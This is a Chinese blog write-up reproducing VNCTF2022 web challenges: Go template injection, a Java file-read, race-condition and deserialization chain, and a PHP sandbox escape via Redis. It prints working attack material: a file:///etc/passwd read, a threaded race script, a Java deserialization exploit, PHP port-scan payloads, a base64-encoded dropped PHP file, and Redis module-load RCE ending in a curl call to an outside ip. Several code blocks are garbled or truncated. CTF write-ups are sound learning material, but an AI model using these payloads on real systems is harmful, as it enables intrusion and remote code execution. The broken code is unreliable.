vnctf2022web复现
Game V4.0
开盒
Newcalc0
Gocalc0
这题当时看都没看,结果⾮预期直接cookies解码就能得flag,题⽬直接沦为签到题哈哈哈
正常是go语⾔ssti
⾸先{{.}}得到当前作⽤域,然后{{.s0uR3e}}得到源码,整理⼀下直接运⾏即可
easyJava
file页⾯⽤file协议读⽂件。当时不知道要读什么,读了个index.html报错就⾛⼈了。。果然还是太菜了呜呜呜
官⽅wp⾥读了/file?url=file:///etc/passwd,可以把tomcat的路径读出来。tomcat⽬录结构可参考。在/usr/local/tomcat/webapps/ROOT/WEB-INF到webapp程序,jd-gui反编译得到源码。
先拿key。如下图,要绕过下⾯⽭盾的验证,可以利⽤servlet成员变量的线程安全漏洞:servlet中多个线程共⽤成员变量,可以多线程条件竞争写name绕验证
import sys
import requests
import threading
url1='de4.buuoj:81/evi1?name=vnctf2022'
url2='de4.buuoj:81/evi1?name=foo'
event = threading.Event()
def go(mode):
event.wait()
while (1):
try:
r = (url1 if mode==1 else url2)
if 'The Key is ' :
)
except:
pass
if __name__ == '__main__':
for i in range(30):
threading.Thread(target=go,args=(1,)).start()
threading.Thread(target=go,args=(2,)).start()
event.set()
然后就是反序列化验证了。本题没有⿊名单什么的,貌似可以直接重写readobject弹shell?但对于本题来说过这⼀步就能拿flag了。
有个坑点,user有个transient修饰的属性height,这是⽤来声明当前属性不需要反序列化的。所以这⾥要重写user⾥的writeObject⽅法
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
spring framework rce漏洞复现}
然后就是exp
package entity;//注意这个包路径不能乱写,这也是要序列化的
import java.util.Base64;
public class Exp {
public static void main(String[] args) {
User u=new User("m4n_q1u_666","666","180");
byte[] b = SerAndDe.serialize(u);
Base64.Encoder encoder = Encoder();
String deToString(b);
System.out.println(str);
}
}
InterestingPHP(表⾯复现)
显然出题⼈失恋了,那就在情⼈节这天做做这题吧!
上来就是php rce,然⽽显然ban了很多函数。phpinfo也被ban了,但可以通过var_dump('ini_get_all()');信息搜集,重点关注disable_functions/disable_class/open_basedir scandir发现secret.rdb,是redis的数据库⽂件。可以⽤解析,不过这⾥直接打开依稀可以看到⼀些东西
version<=5,主从RCE。sercet打错,是secret,猜测⽤来验证redis.
⾸先要到redis端⼝。⽤nmap要等⼀年,有两个payload可⽤
for($i=0;$i<10000;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
for($i=0;$i<10000;$i++) {
$t=file_get_contents('127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "Connection refused")) {
var_dump($i);
}
}
代码以post传参进去,借助file_put_contents写⽂件
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
然后扫出8888端⼝
接下来就是验证和rce了。因为没搞过redis,贴下官⽅的思路
其中so库⽹上到后⽤linux⾃带的base64命令转码后post过去
base64 module.so >
$redis = new Redis();
var_dump($redis->connect('127.0.0.1',8888));
var_dump($redis->auth('ye_w4nt_a_gir1fri3nd'));
var_dump($redis->rawCommand('echo','foo'));
$redis->rawCommand('module','load','/var/www/html/mod.so');
$redis->rawCommand("","curl ip/?foo=qweasd");
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论